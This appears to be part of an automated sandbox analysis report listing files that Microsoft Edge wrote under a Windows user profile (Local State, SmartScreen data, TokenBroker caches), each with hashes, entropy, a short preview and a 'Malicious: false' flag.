Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ce97.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF52b1e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089800016618188
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMDkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn0AkzItSmd6qE7lFoC
MD5:	6940FC30904895AF14E4983F88433FD6
SHA1:	A6F15508A35B8080B640A3387B13EF2E6D3CFD37
SHA-256:	1085AE1FFE1AB362D64B1958DC39AEACF3504D447B1FB44B9BF6E6D6E3388613
SHA-512:	38EC20E519C981FF413B22B22DD0D3AAE57733123A89EA6F27A69268642FE5FC59E92FB2AEB26F9D450E9E5AB02635CA6D79C31A6CB84727AAB22699A8B79E7A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.001796892765816
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUksVj:YWLSGTt1o9LuLgfGBPAzkVj/T8lUksB
MD5:	2D90C2C70A1C0D6AB412BE89B810E92E
SHA1:	6342E7F8CC70F22F11CFFB9D2C21B0BD5F45A4CB
SHA-256:	0A93A6D5E795FBD1C2963F0235CB41EDF21FD72A200694C3CDD0F98DC23FE7D1
SHA-512:	4EC32C87A5DE94CC342124531B9AE50AD3D1881C4FC8DECAAA5E41D22DB2759A2E4FE58D63431268DA9B0DD13F1295E58D4D57C9B6EB0F9129784DEC0E156413
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731904720591705}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f77bf550-a985-4b6d-b361-1a5213ec7e83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46144
Entropy (8bit):	6.087843247863838
Encrypted:	false
SSDEEP:	768:NMkbJrT8IeQcrQgbKCtii1zNt0vpywAEoCtFrqtQCioSJDSgzMMd6qD47u30A:NMk1rT8H7Kxv7HFoStSmd6qE7e
MD5:	D3EA46984C7AD33CF664E5ABDA0A9371
SHA1:	49585F1ACD55677E052D4B211A93C1C88D80A3EE
SHA-256:	FB00AACFA9363F6DC7F49611CD6CA4DB6733C5B4158E2BD0DB3F1D79AFAD2723
SHA-512:	19B41C592AAD5A9F71F8216C0C0CF96E598152FCA57C9813853443AFD2D1DE2EF1A31407CE3DD3BA1C089B7DFD9256B232653109982D1597B705BC2AD141CD39
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376277516813017","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"ff965753-4760-4c46-8c3e-4438c443809b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8501536800677654
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxXexl9Il8uyVD0Via8Aw29QCIHHelYdnd1rc:mMaYw0t8Aw+I6Ydw
MD5:	66FFCCE1C1800A96C6B74420CC9DB36E
SHA1:	2078F0DEE607B01ECF8E77D7E85DAB63BDDC99CC
SHA-256:	896EEC0FEBB6CB19BC4B2E056233A11CFF717F4F10BF341ECC5B2565412C4F6A
SHA-512:	54D91E8ACC979A00947B2904500ACE0B514641FCBF7015183F680128B6B3C86E04FC9E780BFB44F98D9428FB864EDB8818239E3CA266ED72B5F428FB134CA975
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.G.Z.U.b.p.E.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.t.B.h.f.5.p.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9995664188116753
Encrypted:	false
SSDEEP:	96:RYluH0kGdvDtYHgMd56pg923Ep4app+0wjpIntEN0N:RGfLdvDaAi6pgc3pZVutH
MD5:	5A5DF2E34072306E55513B0ABDD360E8
SHA1:	4BDCD48DCAC82727DA319B1EEED79874B5491004
SHA-256:	4D716453EAA1742AE682F2775875B64E4BA9BA181E13EC61625A00413BF813D9
SHA-512:	42FB2538AFDD685E1F06FD900C5FCED6F44CCD1F35DA5C829BABF2E734004136E940ABF64238543CF496DE5688B77E95A9D1F548583E7AD7ECB68A81B0A49355
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".l.Z.k.N.V.I.k.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n